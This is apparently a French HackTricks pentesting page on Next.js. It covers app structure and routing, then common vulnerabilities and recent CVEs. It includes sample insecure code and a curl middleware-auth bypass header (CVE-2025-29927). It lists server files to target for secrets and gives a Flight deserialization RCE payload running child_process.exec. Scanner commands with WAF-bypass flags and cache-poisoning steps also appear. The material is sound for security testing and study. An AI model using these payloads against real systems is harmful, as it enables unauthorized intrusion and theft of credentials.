NextJS

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.

Architecture générale d’une application Next.js

Structure de fichiers typique

Un projet Next.js standard suit une structure de fichiers et de répertoires spécifique qui facilite ses fonctionnalités comme le routage, les endpoints d’API et la gestion des ressources statiques. Voici une disposition typique:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Répertoires et fichiers principaux

• public/: Héberge des assets statiques tels que images, polices et autres fichiers. Les fichiers présents ici sont accessibles à la racine (/).
• app/: Répertoire central pour les pages, layouts, components et routes API de votre application. Adopte le paradigme App Router, permettant des fonctionnalités avancées de routing et la séparation des composants serveur/client.
• app/layout.tsx: Définit le layout racine de votre application, entourant toutes les pages et fournissant des éléments d’UI cohérents comme en-têtes, pieds de page et barres de navigation.
• app/page.tsx: Sert de point d’entrée pour la route racine /, rendant la page d’accueil.
• app/[route]/page.tsx: Gère les routes statiques et dynamiques. Chaque dossier dans app/ représente un segment de route, et page.tsx à l’intérieur de ces dossiers correspond au composant de la route.
• app/api/: Contient des routes API, vous permettant de créer des fonctions serverless qui traitent les requêtes HTTP. Ces routes remplacent le répertoire traditionnel pages/api.
• app/components/: Contient des composants React réutilisables pouvant être utilisés à travers différentes pages et layouts.
• app/styles/: Contient des fichiers CSS globaux et des CSS Modules pour le stylage scoped aux composants.
• app/utils/: Inclut des fonctions utilitaires, modules d’aide et autre logique non-UI partageable dans l’application.
• .env.local: Stocke les variables d’environnement spécifiques à l’environnement de développement local. Ces variables ne sont pas commises dans le contrôle de version.
• next.config.js: Personnalise le comportement de Next.js, y compris les configurations webpack, les variables d’environnement et les paramètres de sécurité.
• tsconfig.json: Configure les paramètres TypeScript du projet, activant le typage et autres fonctionnalités TypeScript.
• package.json: Gère les dépendances du projet, les scripts et les métadonnées.
• README.md: Fournit la documentation et les informations sur le projet, y compris les instructions d’installation, les consignes d’utilisation et d’autres détails pertinents.
• yarn.lock / package-lock.json: Verrouillent les dépendances du projet à des versions spécifiques, assurant des installations cohérentes entre différents environnements.

Côté client dans Next.js

Routage basé sur les fichiers dans le répertoire app

Le répertoire app est la pierre angulaire du routing dans les dernières versions de Next.js. Il exploite le système de fichiers pour définir les routes, rendant la gestion des routes intuitive et scalable.

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Vulnérabilités potentielles côté client

Bien que Next.js fournisse une base sécurisée, des pratiques de codage inappropriées peuvent introduire des vulnérabilités. Les principales vulnérabilités côté client incluent :

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Recon: découverte des routes d’export statique via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

• Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
• Fetch the manifest and extract routes:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• Utilisez les chemins découverts (par exemple /docs, /docs/content/examples, /signin) pour mener auth testing et la découverte d’endpoints.

Côté serveur dans Next.js

Rendu côté serveur (SSR)

Les pages sont rendues sur le serveur à chaque requête, garantissant que l’utilisateur reçoit du HTML entièrement rendu. Dans ce cas vous devriez créer votre propre serveur personnalisé pour traiter les requêtes.

Cas d’utilisation :

• Contenu dynamique qui change fréquemment.
• Optimisation SEO, car les moteurs de recherche peuvent explorer la page entièrement rendue.

Implémentation :

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Génération de site statique (SSG)

Les pages sont pré-rendues au moment du build, ce qui entraîne des temps de chargement plus rapides et une charge serveur réduite.

Cas d’utilisation :

• Contenu qui ne change pas fréquemment.
• Blogs, documentation, pages marketing.

Implémentation :

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Fonctions serverless (API Routes)

Next.js permet la création d’endpoints d’API en tant que fonctions serverless. Ces fonctions s’exécutent à la demande sans nécessiter de serveur dédié.

Cas d’utilisation :

• Gestion des soumissions de formulaires.
• Interaction avec des bases de données.
• Traitement des données ou intégration avec des APIs tierces.

Implémentation :

Avec l’introduction du répertoire app dans Next.js 13, le routage et la gestion des API sont devenus plus flexibles et puissants. Cette approche moderne s’aligne étroitement sur le système de routage basé sur les fichiers mais introduit des capacités améliorées, y compris le support pour les composants serveur et client.

Gestionnaire de route basique

Structure de fichiers :

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Implémentation:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Explication :

• Emplacement : Les routes API sont placées sous le répertoire app/api/.
• Nom des fichiers : Chaque point de terminaison API se trouve dans son propre dossier contenant un fichier route.js ou route.ts.
• Fonctions exportées : Au lieu d’une exportation par défaut unique, des fonctions correspondant à des méthodes HTTP spécifiques (par ex., GET, POST) sont exportées.
• Gestion des réponses : Utilisez le constructeur Response pour renvoyer des réponses, ce qui permet un meilleur contrôle des en-têtes et des codes de statut.

Comment gérer d’autres chemins et méthodes :

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Configuration CORS

Contrôlez quelles origines peuvent accéder à vos routes d’API, atténuant les vulnérabilités liées au Cross-Origin Resource Sharing (CORS).

Exemple de mauvaise configuration :

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Notez que CORS peut également être configuré pour toutes les routes API dans le fichier middleware.ts :

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Problème:

• Access-Control-Allow-Origin: '*': Permet à n’importe quel site d’accéder à l’API, ce qui peut autoriser des sites malveillants à interagir avec votre API sans restrictions.
• Wide Method Allowance: Permettre toutes les méthodes peut permettre aux attaquants d’exécuter des actions indésirables.

Comment les attaquants l’exploitent:

Les attaquants peuvent créer des sites web malveillants qui effectuent des requêtes vers votre API, abusant potentiellement de fonctionnalités telles que la récupération de données, la manipulation de données ou le déclenchement d’actions indésirables au nom d’utilisateurs authentifiés.

CORS - Misconfigurations & Bypass

Exposition du code serveur côté client

Il est facile d’utiliser du code côté serveur également dans du code exposé et utilisé côté client, la meilleure façon de s’assurer qu’un fichier de code n’est jamais exposé côté client est d’utiliser cet import au début du fichier :

import "server-only"

Fichiers clés et leurs rôles

middleware.ts / middleware.js

Emplacement : Racine du projet ou dans src/.

But : Exécute du code dans la fonction sans serveur côté serveur avant qu’une requête soit traitée, permettant des tâches comme l’authentification, les redirections ou la modification des réponses.

Flux d’exécution :

1. Requête entrante : Le middleware intercepte la requête.
2. Traitement : Effectue des opérations basées sur la requête (par ex., vérification de l’authentification).
3. Modification de la réponse : Peut altérer la réponse ou passer le contrôle au gestionnaire suivant.

Exemples d’utilisation :

• Rediriger les utilisateurs non authentifiés.
• Ajouter des en-têtes personnalisés.
• Journaliser les requêtes.

Exemple de configuration :

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.

• Le comportement par défaut est typiquement une redirection 307 vers une route de connexion comme /api/auth/signin.
• Envoyez une valeur longue pour x-middleware-subrequest (répétez middleware pour atteindre MAX_RECURSION_DEPTH) pour faire passer la réponse à 200:

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• Parce que les pages authentifiées chargent de nombreuses sous-ressources, ajoutez l’en-tête à chaque requête (e.g., Burp Match/Replace with an empty match string) pour empêcher les ressources de rediriger.

next.config.js

Emplacement : Racine du projet.

Objectif : Configure le comportement de Next.js, activer ou désactiver des fonctionnalités, personnaliser les configurations webpack, définir des variables d’environnement et configurer plusieurs fonctionnalités de sécurité.

Principales configurations de sécurité :

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js et pages/_document.js

pages/_app.js

Objectif : Remplace le composant App par défaut, permettant l’état global, les styles et les composants de layout.

Cas d’utilisation :

• Injection de CSS global.
• Ajout de wrappers de mise en page.
• Intégration de bibliothèques de gestion d’état.

Exemple :

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Objectif : Remplace le Document par défaut, permettant la personnalisation des balises HTML et Body.

Cas d’utilisation :

• Modifier les balises <html> ou <body>.
• Ajouter des balises meta ou des scripts personnalisés.
• Intégrer des polices tierces.

Exemple :

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Serveur personnalisé (Optionnel)

Objectif : Bien que Next.js soit fourni avec un serveur intégré, vous pouvez créer un serveur personnalisé pour des cas d’utilisation avancés comme le routage personnalisé ou l’intégration avec des services backend existants.

Note : L’utilisation d’un serveur personnalisé peut limiter les options de déploiement, en particulier sur des plateformes comme Vercel qui optimisent le serveur intégré de Next.js.

Exemple :

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Considérations architecturales et de sécurité supplémentaires

Variables d’environnement et configuration

Objectif : Gérer les informations sensibles et les paramètres de configuration en dehors du code source.

Bonnes pratiques :

• Utiliser des fichiers .env : Stocker des variables comme les clés API dans .env.local (exclu du contrôle de version).
• Accéder aux variables de manière sécurisée : Utiliser process.env.VARIABLE_NAME pour accéder aux variables d’environnement.
• Ne jamais exposer les secrets côté client : S’assurer que les variables sensibles ne sont utilisées que côté serveur.

Exemple :

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Note : Pour restreindre les variables au seul côté serveur, omettez-les de l’objet env ou préfixez-les par NEXT_PUBLIC_ pour les exposer au client.

Artefacts serveur utiles à cibler via des endpoints LFI/download

Si vous trouvez un path traversal ou une API de download dans une app Next.js, ciblez les artefacts compilés qui leak des secrets côté serveur et la logique d’auth :

• .env / .env.local pour les session secrets et les provider credentials.
• .next/routes-manifest.json et .next/build-manifest.json pour une liste complète des routes.
• .next/server/pages/api/auth/[...nextauth].js pour récupérer la configuration compilée NextAuth (contient souvent des fallback passwords quand les valeurs process.env ne sont pas définies).
• next.config.js / next.config.mjs pour revoir les rewrites, redirects et le routage middleware.

Authentification et Autorisation

Approche :

• Authentification basée sur les sessions : Utilisez des cookies pour gérer les sessions utilisateur.
• Authentification basée sur les tokens : Implémentez des JWT pour une authentification sans état.
• Third-Party Providers : Intégrez des OAuth providers (p.ex., Google, GitHub) en utilisant des librairies comme next-auth.

Bonnes pratiques de sécurité :

• Cookies sécurisés : Définissez les attributs HttpOnly, Secure et SameSite.
• Hashing des mots de passe : Hashez toujours les mots de passe avant de les stocker.
• Validation des entrées : Prévenez les attaques par injection en validant et en assainissant les entrées.

Exemple :

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Optimisation des performances

Stratégies:

• Optimisation des images : Utilisez le composant next/image de Next.js pour l’optimisation automatique des images.
• Partitionnement du code : Utilisez les imports dynamiques pour séparer le code et réduire les temps de chargement initiaux.
• Mise en cache : Mettez en œuvre des stratégies de mise en cache pour les réponses d’API et les ressources statiques.
• Chargement différé : Chargez les composants ou les ressources uniquement lorsqu’ils sont nécessaires.

Exemple :

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions — Énumération (hash → nom de fonction via source maps)

Next.js moderne utilise les « Server Actions » qui s’exécutent sur le serveur mais sont appelées depuis le client. En production, ces invocations sont opaques : toutes les requêtes POST arrivent sur un endpoint commun et sont distinguées par un hash spécifique à la build envoyé dans l’en-tête Next-Action. Exemple :

POST /
Next-Action: a9f8e2b4c7d1...

Quand productionBrowserSourceMaps est activé, les chunks JS minifiés contiennent des appels à createServerReference(...) qui leak suffisamment de structure (plus les source maps associées) pour récupérer une correspondance entre le hash de l’action et le nom de la fonction d’origine. Cela vous permet de traduire les hashes observés dans Next-Action en cibles concrètes comme deleteUserAccount() ou exportFinancialData().

Approche d’extraction (regex on minified JS + optional source maps)

Recherchez dans les chunks JS téléchargés createServerReference et extrayez le hash ainsi que le symbole de la fonction/source. Deux motifs utiles :

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Groupe 1 : server action hash (40+ hexadécimaux)
• Groupe 2 : symbole ou chemin pouvant être résolu vers la fonction d’origine via la source map quand elle est présente

Si le script annonce une source map (trailer comment //# sourceMappingURL=<...>.map), récupérez-la et résolvez le symbole/chemin vers le nom de la fonction d’origine.

Flux de travail pratique

• Découverte passive lors de la navigation : capturez les requêtes avec les en-têtes Next-Action et les JS chunk URLs.
• Récupérez les bundles JS référencés et les fichiers *.map associés (lorsqu’ils sont présents).
• Exécutez la regex ci-dessus pour construire un dictionnaire hash↔name.
• Utilisez le dictionnaire pour cibler les tests :
• Triage basé sur les noms (ex. transferFunds, exportFinancialData).
• Suivez la couverture entre les builds par nom de fonction (les hashes tournent entre les builds).

Exécution des actions cachées (requête basée sur modèle)

Prenez un POST valide observé dans le proxy comme modèle et remplacez la valeur Next-Action pour cibler une autre action découverte :

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Rejouer dans Repeater et tester l’autorisation, la validation des entrées et la logique métier d’actions autrement inaccessibles.

Burp automation

• NextjsServerActionAnalyzer (extension pour Burp) automatise ce qui précède dans Burp :
• Explore l’historique du proxy à la recherche de JS chunks, extrait les entrées createServerReference(...) et analyse les source maps quand disponibles.
• Maintient un dictionnaire consultable hash↔function-name et déduplique entre les builds par nom de fonction.
• Peut localiser un POST template valide et ouvrir un onglet Repeater prêt à envoyer avec le hash de l’action cible remplacé.
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notes and limitations

• Nécessite productionBrowserSourceMaps activé en production pour récupérer les noms depuis les bundles/source maps.
• La divulgation de function-name n’est pas une vulnérabilité en elle-même ; utilisez-la pour orienter la découverte et tester l’autorisation de chaque action.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Les déploiements Next.js App Router qui exposent Server Actions sur react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contiennent une pollution de prototype critique côté serveur lors de la désérialisation de chunks Flight. En fabriquant des références $ dans une payload Flight, un attaquant peut pivoter de prototypes pollués vers l’exécution arbitraire de JavaScript puis vers l’exécution de commandes OS dans le processus Node.js.

NodeJS - proto & prototype Pollution

Attack chain in Flight chunks

1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructor → Object, and Object.constructor → Function, so future calls to _formData.get() actually execute Function(...).
3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Cartographie de l’exposition des React Server Functions

Les React Server Functions (RSF) sont toutes les fonctions qui incluent la directive 'use server';. Chaque action de formulaire, mutation, ou fetch helper liée à l’une de ces fonctions devient un endpoint RSC Flight qui désérialisera volontiers des attacker-supplied payloads. Étapes de recon utiles dérivées des assessments React2Shell:

• Inventaire statique : cherchez la directive pour comprendre combien de RSFs sont automatiquement exposées par le framework.

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• App Router defaults: create-next-app active l’App Router + le répertoire app/ par défaut, ce qui transforme silencieusement chaque route en endpoint compatible RSC. Les assets App Router comme /_next/static/chunks/app/ ou les réponses qui streament des chunks Flight via text/x-component sont de fortes empreintes exposées sur Internet.
• Implicitly vulnerable RSC deployments: L’avis officiel de React note que les apps embarquant le runtime RSC peuvent être exploitables même sans RSFs explicites, donc considérez comme suspect tout build utilisant react-server-dom-* 19.0.0–19.2.0.
• Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, etc. réutilisent le même serializer et héritent de la même surface d’attaque distante tant qu’ils n’intègrent pas des builds React corrigés.

Version coverage (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: vulnérables en 19.0.0, 19.1.0–19.1.1 et 19.2.0 ; corrigés en 19.0.1, 19.1.2 et 19.2.1 respectivement.
• Next.js stable: Les releases App Router 15.0.0–16.0.6 intègrent la stack RSC vulnérable. Les trains de patches 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 incluent des dépendances corrigées, donc tout build en dessous de ces versions est une cible de haute valeur.
• Next.js canary: 14.3.0-canary.77+ livre aussi le runtime bogué et ne dispose actuellement d’aucune release canary corrigée, ce qui fait de ces empreintes de fortes candidates à l’exploitation.

Remote detection oracle

Le react2shell-scanner d’Assetnote envoie une requête Flight multipartite forgée vers des chemins candidats et observe le comportement côté serveur :

• mode par défaut exécute un payload RCE déterministe (opération mathématique reflétée via X-Action-Redirect) prouvant l’exécution de code.
• mode --safe-check formate volontairement mal le message Flight de sorte que les serveurs patchés renvoient 200/400, tandis que les cibles vulnérables émettent des réponses HTTP/500 contenant la sous-chaîne E{"digest" dans le corps. Cette paire (500 + digest) est actuellement l’oracle distant le plus fiable publié par des défenseurs.
• Les switches intégrés --waf-bypass, --vercel-waf-bypass et --windows ajustent la mise en page du payload, préfixent des données inutiles, ou échangent les commandes OS pour que vous puissiez sonder des ressources Internet réelles.

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Autres problèmes récents de l’App Router (fin 2025)

1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads can spin the RSC resolver into an infinite loop (pre-auth DoS) or force serialization of compiled Server Function code for other actions. App Router builds ≥13.3 are affected until patched; 15.0.x–16.0.x need the specific patch lines from the upstream advisory. Reuse the normal Server Action path but stream a text/x-component body with abusive $ references. Behind a CDN the hung connection is kept open by cache timeouts, making the DoS cheap.

• Astuce de triage : Les cibles non patchées renvoient 500 avec E{"digest" après des malformed Flight payloads ; les builds patchés renvoient 400/200. Testez tout endpoint qui stream déjà des Flight chunks (cherchez les headers Next-Action ou des réponses text/x-component) et rejouez avec un payload modifié.

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – missing Vary let an Accept: text/x-component response get cached and served to browsers expecting HTML. A single priming request can replace the page with raw RSC payloads. PoC flow:

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.

Références

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
